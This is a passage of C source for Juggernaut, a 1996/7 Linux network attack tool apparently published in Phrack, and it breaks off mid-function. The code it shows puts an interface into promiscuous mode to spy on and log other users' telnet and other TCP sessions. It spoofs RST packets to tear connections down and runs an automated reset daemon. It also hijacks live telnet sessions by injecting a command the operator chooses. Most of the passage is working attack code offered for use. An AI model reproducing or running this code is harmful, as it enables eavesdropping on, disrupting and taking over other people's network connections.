   fprintf(stderr,"Juggernaut %s [email protected] [guild 1996/7]\n",version);

   fprintf(stderr,"\nJuggernaut compiled with the following options:\n");
#ifdef MULTI_P
   fprintf(stderr," Multi-processing\n");
#endif

#ifdef NOHUSH
   fprintf(stderr," Audible notification\n");
#endif

#ifdef USENAME
   fprintf(stderr," Use hostnames\n");
#endif

#ifdef GREED
   fprintf(stderr," Greedy connections\n");
#endif

#ifdef FASTCHECK
   fprintf(stderr," Fast IP checksuming\n");
#endif

#ifdef IP_HDRINCL
   fprintf(stderr," IP header include\n");
#endif

#ifdef THREAD
   fprintf(stderr," Multi-threading\n");
#endif

   time(&current);
   fprintf(stderr,"Juggernaut has been running %.02f minutes\n",(difftime(current,uptime)/60));

   fprintf(stderr,"[cr]");
   getchar();
}

/*
*  csimplexhijack wrapper
*/

void simplexhijack(){


   void sputter();
   float dump();
   void csimplexhijack(struct connectionInfo *,char *);
   void cspy(struct connectionInfo *,FILE *);
   struct connectionInfo *checkc(int);

   char buf[MINIBUF];
   char commandbuf[BUFSIZE];
   unsigned short val;
   struct connectionInfo *target;

   dump();

   while(1){
       fprintf(stderr,"\nChoose a connection [q] >");
       fgets(buf,sizeof(buf),stdin);
       if(buf[0]==0x0a||buf[0]=='q')return;
       if(!(int)(val=atoi(buf)))continue;
       if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
       else break;
   }
   if(ntohs(target->dport)!=23){
       fprintf(stderr,"Hijacking only valid with telnet connections.\n");
       fprintf(stderr,"[cr]");
       getchar();
       return;
   }
   fprintf(stderr,"Enter the command string you wish executed [q] >");
   fgets(commandbuf,sizeof(commandbuf),stdin);
   if(commandbuf[0]==0x0a)return;
   fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
   fprintf(stderr,"\nNOTE: This may cause an ACK storm until client is RST.\n");
   signal(SIGINT,sputter);
   sigsentry=1;
   cspy(target,0);
   csimplexhijack(target,commandbuf);
   fprintf(stderr,"[cr]");
   getchar();
}


/*
*  chijack wrapper
*/

void hijack(){

   void sputter();
   float dump();
   void chijack(struct connectionInfo *);
   void cspy(struct connectionInfo *,FILE *);
   struct connectionInfo *checkc(int);

   char buf[MINIBUF];
   unsigned short val;
   struct connectionInfo *target;

   dump();

   while(1){
       fprintf(stderr,"\nChoose a connection [q] >");
       fgets(buf,sizeof(buf),stdin);
       if(buf[0]==0x0a||buf[0]=='q')return;
       if(!(int)(val=atoi(buf)))continue;
       if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
       else break;
   }
   if(ntohs(target->dport)!=23){
       fprintf(stderr,"Hijacking only valid with telnet connections.\n");
       fprintf(stderr,"[cr]");
       getchar();
       return;
   }
   fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
   fprintf(stderr,"\nNOTE: This will cause an ACK storm and desynch the client until the connection is RST.\n");
   signal(SIGINT,sputter);
   sigsentry=1;
   cspy(target,0);
   sigsentry=1;
   chijack(target);
   fprintf(stderr,"[cr]");
   getchar();
}


/*
*  Prometheus wrapper (packet assembly workshop)
*/

void pkta(){

   void mpkta();
   void mwipe();
   int prometheus(int);

   int val,mode;
   char buf[MINIBUF];

   while(1){
       mwipe();
       mpkta();
       fgets(buf,sizeof(buf),stdin);
       if(!(val=atoi(buf)))continue;
       switch(val){
           case 1:                     /* TCP */
               mode=1;
               break;
           case 2:                     /* UDP */
               mode=2;
               break;
           case 3:                     /* ICMP */
               mode=3;
               break;
           case 4:                     /* IP */
               mode=4;
               break;
           case 5:                     /* Return */
               return;
           default:
               continue;
       }
       if(prometheus(mode))break;
   }
                                       /* NOT REACHED */
}

<-->
<++> Juggernaut/NumberOneCrush/mem.c
/*
*
*                                  Juggernaut
*                                  Version b1
*
*                            1996/7 Guild productions
*                           daemon9[guild|phrack|r00t]
*
*                         comments to [email protected]
*
*  This coding project made possible by a grant from the Guild corporation
*
*  mem.c - contains shared memory and semaphore control logic
*
*  Multi-process:
*  Initializing and accesing shared memory:
*  ----------------------------------------
*  - Create the shared segment
*  - Attach each process to the segment (in our case, the hunter child
*    process will inherit a pointer to the block)
*  - Grab a semaphore
*  - Lock the semaphore; Manipulate shared segment; unlock the semaphore
*
*
*  Multi-threaded:
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>

#define SHMKEY 242                  /* Shared memory key */
#define SEMKEY 424                  /* Semaphore key */
#define PERMS 0666                  /* Shared Memory Permissions */
#define MAXNODES 512                /* Maximum number of nodes */
#define ADDMSG "+"
#define DELMSG "-"

int semid;                          /* Semaphore ID */

struct sembuf lock[2]={{0,0,0},{0,1,SEM_UNDO}};
                                   /* wait for sem#0 to become 0 then
                                      increment sem#0 by 1 */
struct sembuf ulock[1]={{0,-1,(IPC_NOWAIT|SEM_UNDO)}};
                                   /* decrement sem#0 by 1 (sets it to 0) */

struct epack{                       /* Generic Ethernet packet w/o data payload */
   struct ethhdr eth;              /* Ethernet Header */
   struct iphdr ip;                /* IP header */
   struct tcphdr tcp;              /* TCP header */
   char payload[8192];             /* Data Payload */
}epack;

static struct connectionInfo{       /* Simple tuple structure */
   unsigned long saddr;            /* Source IP */
   unsigned long daddr;            /* Destination IP */
   unsigned short sport;           /* Source TCP Port */
   unsigned short dport;           /* Destination TCP Port */
}*cinfo=0;

extern int verbosity;

/*
*  Creates the shared memory segment then attaches it; then creates a binary
*  semaphore to guarantee exclusive access.  Clears the structure array.
*  Dumps some info.
*  Much credit to Richard Stevens and Jeff Thompson.
*/

void powerup(){

   void locks();
   void ulocks();
   void cleardb();

   int shmid;                      /* Shared memory segment id */
   int len;

   len=sizeof(struct connectionInfo)*MAXNODES;

                                   /* Request a shared memory segment */
   if((shmid=shmget(SHMKEY,len,IPC_CREAT))<0){
       if(verbosity)perror("(powerup) shared memory segment allocation error [fatal]");
       exit(1);
   }
                                   /* Get one semaphore to perform shared
                                      memory locking with */
   if((semid=semget(SEMKEY,1,IPC_CREAT|PERMS))<0){
       if(verbosity)perror("(powerup) semaphore allocation error [fatal]");
       exit(1);
   }
                                   /* Attach to the shared memory segment */
   cinfo=(struct connectionInfo *)shmat(shmid,0,0);

   cleardb();
}

/*
*  Release the shared memory segment.
*/

void powerdown(){

   void locks();
   void ulocks();

   locks();
   shmdt((char *)cinfo);           /* Dettach the segment. */
   ulocks();
}

/*
*  Locks the semaphore so the caller can access the shared memory segment.
*  This is an atomic operation.
*/

void locks(){
   if(semop(semid,&lock[0],2)<0){
       if(verbosity)perror("(locks) could not lock semaphore [fatal]");
       exit(1);
   }
}

/*
*  Unlocks the semaphore so the caller can access the shared memory segment.
*  This is an atomic operation.
*/

void ulocks(){
   if(semop(semid,&ulock[0],1)<0){
       if(verbosity)perror("(ulocks) could not unlock semaphore [fatal]");
       exit(1);
   }
}


/*
*  Add a connection to our list.  Linear search of the WHOLE list to see if
*  it's already there (which IT SHOULDN'T BE...), if not, add it in the
*  first open slot.
*/

char *addc(iphp,tcphp)
struct iphdr *iphp;
struct tcphdr *tcphp;
{
   void locks();
   void ulocks();

   int i=0;
                                       /* A wonderfully inefficient linear
                                          search for duplicates */

   locks();                            /* Lock shared memory segment */
   for(;i<MAXNODES;i++)if(iphp->saddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){
       ulocks();
       return(0);                      /* Opps.  Found a duplicate */
   }
                                       /* Find available slot */
   for(i=0;i<MAXNODES;i++){
       if(cinfo[i].saddr)continue;
       else{
           cinfo[i].saddr=iphp->saddr;
           cinfo[i].daddr=iphp->daddr;
           cinfo[i].sport=tcphp->source;
           cinfo[i].dport=tcphp->dest;
           ulocks();
           return(ADDMSG);
       }
   }                                   /* Control falls here if array is
                                          full (which is indicative of
                                          a BUSY NETWORK!@*/
   ulocks();
   return(0);
}


/*
*  Remove a connection from our list.  Linear search until we find a
*  correspoding entry, or we hit the end of the list.
*/

char *delc(iphp,tcphp)
struct iphdr *iphp;
struct tcphdr *tcphp;
{

   void locks();
   void ulocks();

   int i=0;

   locks();                        /* Lock shared memory segment */
   for(;i<MAXNODES;i++)if(iphp->saddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){
       bzero(&cinfo[i],sizeof(cinfo[i]));
       ulocks();
       return(DELMSG);             /* Inform caller of success */
   }
   ulocks();
   return(0);                      /* hmm.  Wierd.   */
}


/*
*  Dump the connection list.
*/

float dumpc()
{
   void locks();
   void ulocks();
   char *hostLookup(unsigned long);

   int i=0;
   float j=0;

   locks();
   for(;i<MAXNODES;i++)if(cinfo[i].saddr){
       fprintf(stderr,"(%d)\t %s [%d]\t-->\t %s [%d]\n",i+1,hostLookup(cinfo[i].saddr),ntohs(cinfo[i].sport),hostLookup(cinfo[i].daddr),ntohs(cinfo[i].dport));
       j++;
   }
   ulocks();
   if(!j)return(0);
   return(((j/MAXNODES)*100));     /* % utilization */
}


/*
*  Check for a connection by index number.  Really only here to make sure the
*  connection hasn't been deleted since dump() was called....  I think I
*  will deprecate this function in future versions...
*/

struct connectionInfo *checkc(target)
int target;
{
   void locks();
   void ulocks();

   static struct connectionInfo tmp;

   locks();                                /* Lock shared memory segment */
   if(cinfo[--target].saddr){
       memcpy(&tmp,&cinfo[target],sizeof(tmp));
       ulocks();
       return(&tmp);
   }
   ulocks();                               /* Nope.  Not there */
   return((struct connectionInfo *)0);
}


/*
*  Clear the connection database
*/

void cleardb(){

   void locks();
   void ulocks();

   int i=0;

   locks();
   for(;i<MAXNODES;i++)bzero(&cinfo[i],sizeof(cinfo[i]));
   ulocks();
}
<-->
<++> Juggernaut/NumberOneCrush/menu.c
/*
*
*                                  Juggernaut
*                                  Version b2
*
*                            1996/7 Guild productions
*                           daemon9[guild|phrack|r00t]
*
*                         comments to [email protected]
*
*  This coding project made possible by a grant from the Guild corporation
*
*  menu.c - menu functions.
*
*/

#include <stdio.h>

extern char version[];

/*
*  Initial Screen
*/

void minit(){

   printf("\t\t\t   J U G G E R N A U T\n");
   printf("\t\t    multipurpose network tool for Linux\n");
   printf("\t\t\t       version: %s\n",version);
   printf("\n\n\n\n\n\n");
   printf("\t  (c) 1996/7 daemon9 | A Guild Corporation Production\t\t\t\n");
   printf("\n\n\n\n\n\n");
}

/*
*  Main Menu
*/

void mmain(){

   printf("\t\t\t           Juggernaut\n");
   printf("\t\t\t+------------------------------+\n");
   printf("\t\t\t?) Help\n");
   printf("\t\t\t0) Program information\n");
   printf("\t\t\t1) Connection database\n");
   printf("\t\t\t2) Spy on a connection\n");
   printf("\t\t\t3) Reset a connection\n");
   printf("\t\t\t4) Automated connection reset daemon\n");
   printf("\t\t\t5) Simplex connection hijack\n");
   printf("\t\t\t6) Interactive connection hijack\n");
   printf("\t\t\t7) Packet assembly module\n");
   printf("\t\t\t8) Souper sekret option number eight\n");
   printf("\t\t\t9) Step Down\n");
   printf("\n\n\n\n\n\n\n\n\n");
   printf(">");
}

/*
*  Packet Assembly Menu [prometheus module]
*/

void mpkta(){

   printf("\t\t\t     Packet Assembly Module (beta)\n");
   printf("\t\t\t+------------------------------+\n");
   printf("\t\t\t1. TCP Assembler\n");
   printf("\t\t\t2. UDP Assembler\n");
   printf("\t\t\t3. ICMP Assembler\n");
   printf("\t\t\t4. IP Assembler\n");
   printf("\t\t\t5. Return to previous menu\n");
   printf("\n\n\n\n\n\n\n\n\n\n");
   printf(">");
}

/*
*  TCP assembly options menu
*/

void mpktatcp(packetready,source,destination,seqnum,acknum,control,window,data)
int packetready;
unsigned short source;
unsigned short destination;
unsigned long seqnum;
unsigned long acknum;
char *control;
unsigned short window;
char data[512];
{

   printf("\t\t\t     TCP Packet Assembly\n");
   printf("\t\t\t+------------------------------+\n");
   if(!(packetready&0x01))printf("\t\t\t1. Source port\n");
   else printf("\t\t\tSource port: %d\n",source);
   if(!(packetready&0x02))printf("\t\t\t2. Destination port\n");
   else printf("\t\t\tDestination port: %d\n",destination);
   if(!(packetready&0x04))printf("\t\t\t3. Sequence Number\n");
   else printf("\t\t\tSequence Number: %ld\n",seqnum);
   if(!(packetready&0x08))printf("\t\t\t4. Acknowledgement Number\n");
   else printf("\t\t\tAcknowledgement Number: %ld\n",acknum);
   if(!(packetready&0x10))printf("\t\t\t5. Control Bits\n");
   else printf("\t\t\tControl Flags: %s\n",control);
   if(!(packetready&0x20))printf("\t\t\t6. Window Size\n");
   else printf("\t\t\tWindow Size: %d\n",window);
   if(!(packetready&0x40))printf("\t\t\t7. Data Payload\n");
   else printf("\t\t\tData payload: %s\n",data);
   printf("\t\t\t8. Return to previous menu\n");
   printf("\t\t\t9. Return to main menu\n");
   if(packetready==0x7F)printf("\t\t\t10. Pass packet to RIP assembler\n");
   printf("\n\n\n\n\n\n\n\n\n\n");
   printf(">");
}

/*
*  UDP assembly options menu
*/

void mpktaudp(packetready,source,destination,data)
int packetready;
unsigned short source;
unsigned short destination;
char data[512];
{
   printf("\t\t\t     UDP Packet Assembly\n");
   printf("\t\t\t+------------------------------+\n");
   if(!(packetready&0x01))printf("\t\t\t1. Source port\n");
   else printf("\t\t\tSource port: %d\n",source);
   if(!(packetready&0x02))printf("\t\t\t2. Destination port\n");
   else printf("\t\t\tDestination port: %d\n",destination);
   if(!(packetready&0x04))printf("\t\t\t3. Data payload\n");
   else printf("\t\t\tData payload: %s\n",data);
   printf("\t\t\t4. Return to previous menu\n");
   printf("\t\t\t5. Return to main menu\n");
   if(packetready==0x7)printf("\t\t\t6. Pass packet to RIP assembler\n");
   printf("\n\n\n\n\n\n\n\n\n\n");
   printf(">");
}

/*
*  ICMP assembly options menu
*/

void mpktaicmp(packetready,type,code,data)
int packetready;
unsigned short type;
unsigned short code;
char data[512];
{

   printf("\t\t\t     ICMP Packet Assembly\n");
   printf("\t\t\t+------------------------------+\n");
   if(!(packetready&0x01))printf("\t\t\t1. Type\n");
   else printf("\t\t\tType: %d\n",type);
   if(!(packetready&0x02))printf("\t\t\t2. Code\n");
   else printf("\t\t\tCode: %d\n",code);
   if(!(packetready&0x04))printf("\t\t\t3. Data payload\n");
   else printf("\t\t\tData payload: %s\n",data);
   printf("\t\t\t4. Return to previous menu\n");
   printf("\t\t\t5. Return to main menu\n");
   if(packetready==0x07)printf("\t\t\t6. Pass packet to RIP assembler\n");
   printf("\n\n\n\n\n\n\n\n\n\n");
   printf(">");
}

/*
*  IP assembly options menu
*/

void mpktaip(packetready,tos,fflags,fo,ttl,saddr,daddr,number,packettype)
int packetready;
char *tos;
char *fflags;
unsigned short fo;
unsigned short ttl;
char *saddr;
char *daddr;
int number;
char *packettype;
{

   printf("\t\t\t     IP Packet Assembly\n");
   printf("\t\t\t+------------------------------+\n");
   if(!(packetready&0x01))printf("\t\t\t1. TOS\n");
   else printf("\t\t\tTOS: %s\n",tos);
   if(!(packetready&0x02))printf("\t\t\t2. Fragment Flags\n");
   else printf("\t\t\tFragment flags: %s\n",fflags);
   if(!(packetready&0x04))printf("\t\t\t3. Fragment Offset\n");
   else printf("\t\t\tFragment offset: %d\n",(fo&0x1fff));
   if(!(packetready&0x08))printf("\t\t\t4. TTL\n");
   else printf("\t\t\tTTL: %d\n",ttl);
   if(!(packetready&0x10))printf("\t\t\t5. Source Address\n");
   else printf("\t\t\tSource Address: %s\n",saddr);
   if(!(packetready&0x20))printf("\t\t\t6. Destination Address\n");
   else printf("\t\t\tDestination Address: %s\n",daddr);
   if(!(packetready&0x40))printf("\t\t\t7. Number of packets to send\n");
   else printf("\t\t\tSending %d packet(s)\n",number);
   printf("\t\t\t8. Return to previous menu\n");
   printf("\t\t\t9. Return to main menu\n");
   if(packetready==0x7f)printf("\t\t\t10. Transmit %s packet(s)\n",packettype);
   printf("\n\n\n\n\n\n\n\n\n\n");
   printf(">");
}

/*
*  Clear the Screen
*/

void mwipe(){

   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
}
<-->
<++> Juggernaut/NumberOneCrush/net.c
/*
*
*                                  Juggernaut
*                                  Version b1
*
*                            1996/7 Guild productions
*                           daemon9[guild|phrack|r00t]
*
*                         comments to [email protected]
*
*  This coding project made possible by a grant from the Guild corporation
*
*  net.c - network/socket control code and abstract data types
*
*  In the interest of time overhead vs. code size, I created several functions
*  that do much the same thing.  You will notice the reset and jack code is
*  quite redundant.  Life is rough like that.  Deal with it.  Also, there are
*  problems with freeing malloc'd memory.
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <arpa/inet.h>
#include <signal.h>
#include <string.h>
#include <setjmp.h>
#include <unistd.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <linux/if.h>
#include <linux/sockios.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/ioctl.h>

#define DEVICE "eth0"
#define ETHHDR  14
#define PHDR    12
#define TCPHDR  20
#define IPHDR   20
#define BUFSIZE 512
#define MINIBUF 10
#define RSTS    10      /* Number of RSTs to send when RSTing a connection */
#define JCKRST  3       /* You may wish to experiment with this value.  The
                          smaller it is, your command have less time to
                          complete on the target.  However, the ACK storm
                          will also be much shorter... */
#define SNIFLOG "./juggernaut.log.snif"

struct iphdr  *iphp;        /* Pointer into current packets IP header */
struct tcphdr *tcphp;       /* Pointer into current packets TCP header */
struct ethhdr *ethhp;       /* Pointer into current packets ethernet header */

                           /* Macro to align the pointers into the ethernet,
                              IP, and TCP headers. */
#define ALIGNNETPOINTERS(){\
   ethhp=(struct ethhdr *)(((unsigned long)&epack.eth));\
   iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);\
   tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);\
}

struct epack{               /* Generic Ethernet packet w/o data payload */
   struct ethhdr eth;      /* Ethernet Header */
   struct iphdr ip;        /* IP header */
   struct tcphdr tcp;      /* TCP header */
   char payload[8192];     /* Data Payload */
}epack;

struct connectionInfo{
   unsigned long saddr;    /* Source IP */
   unsigned long daddr;    /* Destination IP */
   unsigned short sport;   /* Source TCP Port */
   unsigned short dport;   /* Destination TCP Port */
};

jmp_buf env;                /* To preserve our environment */
extern int verbosity;       /* Should we dump error messages? */

/*
*  Creates a low level raw-packet socket and puts the device into promiscuous
*  mode.
*/

int tap(device)
char *device;
{

   int fd;
   struct ifreq ifr;   /* Link-layer interface request structure */
                       /* Ethernet code for IP 0x800==ETH_P_IP */
   if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){
       if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]");
       exit(1);
   }
   strcpy(ifr.ifr_name,device);
   if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){    /* Get the device info */
       if(verbosity)perror("(tap) Can't get device flags [fatal]");
       close(fd);
       exit(1);
   }
   ifr.ifr_flags|=IFF_PROMISC;             /* Set promiscuous mode */
   if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){    /* Set flags */
       if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]");
       close(fd);
       exit(1);
   }
   return(fd);
}


/*
*  Gimme a raw-IP socket.  Use of IP_HDRINCL is automatic with 2.0.x
*  kernels.  Not sure about 1.2.x
*/

int rawsock(){

   int fd,val=1;

   if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
       if(verbosity)perror("\n(rawsock) Socket problems [fatal]");
       exit(1);
   }

#ifdef IP_HDRINCL
   if(setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0){
       if(verbosity){
           perror("Cannot set IP_HDRINCL socket option");
           fprintf(stderr,"\nIf you are relying on this rather then a hacked kernel to spoof packets, your sunk.\n[cr]");
           getchar();
       }
   }
#endif

   return(fd);
}


/*
*  Hunter.  At this point, only cares about connection information (infant
*  connections and tear-downs).  I should have it pass SEQ and ACK related
*  info to the relevant functions...  This function will be forked to the
*  backround as a seperate process, and in future versions it will be
*  implemented as a seperate thread of execution.
*/

void chunt(){

   void add(struct iphdr *,struct tcphdr *,struct ethhdr *);
   void del(struct iphdr *,struct tcphdr *);

   extern int linksock;                /* raw packet socket */

   ALIGNNETPOINTERS();
                                       /* No alarm timeout here.  We block forever until packets zing by */
   while(1)if(recv(linksock,&epack,sizeof(epack),0)){
       if(iphp->protocol==IPPROTO_TCP&&(tcphp->syn&&!tcphp->ack))add(iphp,tcphp,ethhp);
       if(iphp->protocol==IPPROTO_TCP&&(tcphp->rst||tcphp->fin))del(iphp,tcphp);
   }
}

/*
*  addc() wrapper.  Checks to make sure we want to add this connection to
*  our list....  At this point, we'll take ftp control, ssh (well, we can
*  RST them) telnet, smtp, http, rlogin, and irc.
*/

void add(iphp,tcphp,ethhp)
struct iphdr *iphp;
struct tcphdr *tcphp;
struct ethhdr *ethhp;       /* Future Use */
{
   char *addc(struct iphdr *, struct tcphdr *);

   char *msg;

#ifdef GREED
   if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
#ifdef NOHUSH
   fprintf(stderr,"%c",7);
#endif
   return;
#else
   switch(ntohs(tcphp->dest)){
       case 21:
       case 22:
       case 23:
       case 25:
       case 80:
       case 513:
       case 6667:
           if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
#ifdef NOHUSH
           fprintf(stderr,"%c",7);
#endif
           return;
       default:
           return;
   }
#endif
}


/*
*  delc() wrapper.  Checks connection port number to see if we should even
*  bother passing to the delete function which will do a potentially expensive
*  linear search...
*/

void del(iphp,tcphp)
struct iphdr *iphp;
struct tcphdr *tcphp;
{
   char *delc(struct iphdr *, struct tcphdr *);

   char *msg;

#ifdef GREED
   if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
   return;
#else
   switch(ntohs(tcphp->dest)){
       case 21:
       case 22:
       case 23:
       case 25:
       case 80:
       case 513:
       case 6667:
           if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
           return;
       default:
           return;
   }
#endif
}


/*
*  Spy on a connection.  If the packet captured is from the target connection,
*  call dumpp().  If fp is valid, prepend header/append footer.
*/

void cspy(target,fp)
struct connectionInfo *target;
FILE *fp;
{

   char *hostLookup(unsigned long);
   void dumpp(char *,int,FILE *);

   extern int sigsentry;
   int tlinksock=tap(DEVICE);  /* Spying tap.  XXX- Really dumb way to do this... */
   time_t tp;

   ALIGNNETPOINTERS();

   fprintf(stderr,"Spying on connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
   if(fp){
       fprintf(fp,"---------------------------------------------------------------------\n: Juggernaut connection spy log header\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport));
       time(&tp);
       fprintf(fp,": Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
   }
                   /* NO alaram timeout here.  SIGINT kills our spy session */
   while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr&&tcphp->source==target->dport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),fp);

   if(fp){
       fprintf(fp,"\n---------------------------------------------------------------------\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport)









);
       time(&tp);
       fprintf(fp,": Log ended:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
   }
   close(tlinksock);
}


/*
*  Dumps the payload.  Dump to file if we have a valid FP.
*/

void dumpp(payload,length,fp)
char *payload;
int length;
FILE *fp;
{
   register int tickytacky=0;

   for(;tickytacky<length;tickytacky++){
       fprintf(stderr,"%c",payload[tickytacky]);
       if(fp)fprintf(fp,"%c",payload[tickytacky]);
   }

}


/*
*  RST both ends of a connection.  Listen for the client to send a packet so
*  we know where the seq/ack #s are and then spoof 10 RSTs to the client which
*  will then send a RST to the other end when it recieves the legitimate
*  response packet.
*/

void crst(target)
struct connectionInfo *target;
{

   void nettimeout();
   char *hostLookup(unsigned long);
   unsigned short in_cksum(unsigned short *,int);

   char *tempBuf=0;
   extern int ripsock;
   extern int netreadtimeout;

   struct sockaddr_in sin;

   struct tpack{               /* Generic TCP packet w/o payload */
       struct iphdr ip;
       struct tcphdr tcp;
   }tpack;

   struct psuedoHeader{
       unsigned long saddr;
       unsigned long daddr;
       unsigned char null;
       unsigned char prot;
       unsigned short tlen;
   }*ppheader;

   static int moot=0;
   int tlinksock=tap(DEVICE);

   ALIGNNETPOINTERS();

   sin.sin_family=AF_INET;     /* Preload these values.  All we are really
                                  waiting for are the seq/ack #s */
   sin.sin_port=target->dport;
   sin.sin_addr.s_addr=target->saddr;

   bzero(&tpack,sizeof(tpack));    /* Zero out these structures so I dunot
                                      have to assign 0's to the unused
                                      areas... */
   bzero(&ppheader,sizeof(ppheader));

   tpack.tcp.source=target->dport;         /* 16-bit Source port number */
   tpack.tcp.dest=target->sport;           /* 16-bit Destination port */
   tpack.tcp.doff=5;                       /* Data offset */
   tpack.tcp.ack=1;                        /* Acknowledgement field valid flag */
   tpack.tcp.rst=1;                        /* Reset flag */
   tpack.tcp.window=htons(242);            /* 16-bit Window size */

   tpack.ip.version=4;                     /* 4-bit Version */
   tpack.ip.ihl=5;                         /* 4-bit Header Length */
   tpack.ip.tot_len=htons(IPHDR+TCPHDR);   /* 16-bit Total length */
   tpack.ip.ttl=64;                        /* 8-bit Time To Live */
   tpack.ip.protocol=IPPROTO_TCP;          /* 8-bit Protocol */

   tpack.ip.saddr=target->daddr;           /* 32-bit Source Address */
   tpack.ip.daddr=target->saddr;           /* 32-bit Destination Address */

   tempBuf=(char *)malloc(PHDR+TCPHDR);    /* Checksum stuff */
   ppheader=(struct psuedoHeader *)tempBuf;

   ppheader->saddr=tpack.ip.saddr;
   ppheader->daddr=tpack.ip.daddr;
   ppheader->prot=IPPROTO_TCP;
   ppheader->null=0;
   ppheader->tlen=htons(TCPHDR);

   fprintf(stderr,"Reseting connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));

   if(setjmp(env)){                        /* Timeout */
       if(verbosity)fprintf(stderr,"Quiet connection, not reset. [soft error, returning]\n");
       return;
   }
   signal(SIGALRM,nettimeout);
   alarm(netreadtimeout);                  /* Wait 10 seconds for reply */

   while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->saddr&&tcphp->source==target->sport){

       for(;moot<RSTS;moot++){                /* Send RSTs, incrementing
                                               seqs and acks as we go */
           tpack.tcp.seq=tcphp->ack_seq+(htonl(moot));
           tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));

           bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
           tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);

           sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
       }
       alarm(0);

       /*free(tempBuf);    XXX */
       fprintf(stderr,"Connection torn down.\n");
       close(tlinksock);
       break;
   }
}


/*
*  Sets up automated connection reseting.  A source and possibly a
*  destination host are targeted for reseting.  This function will kill any
*  connection attempts from the source (and possibly to a destination).
*/

void acrst(source,target)
unsigned long source, target;
{

   char *hostLookup(unsigned long);
   unsigned short in_cksum(unsigned short *,int);
   void spasm();               /* Handles the user defined signal */

   struct tpack{
       struct iphdr ip;
       struct tcphdr tcp;
   }tpack;

   struct psuedoHeader{
       unsigned long saddr;
       unsigned long daddr;
       unsigned char null;
       unsigned char prot;
       unsigned short tlen;
   }*ppheader;

   struct sockaddr_in sin;

   int moot=0;
   extern int ripsock;
   extern int acrstpid;
   char *tempBuf=0;
   int tlinksock=tap(DEVICE);

   switch((acrstpid=fork())){  /* Drop a child to backround, return the
                                  parent to continue */
       case 0:                 /* Set the priority up a few notchs..
                                  I get better results */
           if(setpriority(PRIO_PROCESS,0,-20)){
               if(verbosity)perror("acrst module (setpriority)");
               fprintf(stderr,"[cr]");
               getchar();
           }
           signal(SIGUSR1,spasm);  /* Keep track of the child and register
                                      it with the cleanup signal handler */
           signal(SIGINT,SIG_IGN);
           signal(SIGQUIT,SIG_IGN);
           break;
       default:
           return;
       case -1:
           if(verbosity)perror("acrst module Internal forking error [fatal]");
           exit(1);
   }

   ALIGNNETPOINTERS();
                                               /* Preload these values. */
   sin.sin_family=AF_INET;

   bzero(&tpack,sizeof(tpack));
   bzero(&ppheader,sizeof(ppheader));

   tpack.tcp.doff=5;
   tpack.tcp.ack=1;
   tpack.tcp.rst=1;
   tpack.tcp.window=htons(242);

   tpack.ip.version=4;
   tpack.ip.ihl=5;
   tpack.ip.tot_len=htons(IPHDR+TCPHDR);
   tpack.ip.ttl=64;
   tpack.ip.protocol=IPPROTO_TCP;

   tempBuf=(char *)malloc(PHDR+TCPHDR);
   ppheader=(struct psuedoHeader *)tempBuf;

   ppheader->null=0;
   ppheader->prot=IPPROTO_TCP;
   ppheader->tlen=htons(TCPHDR);

   while(1){
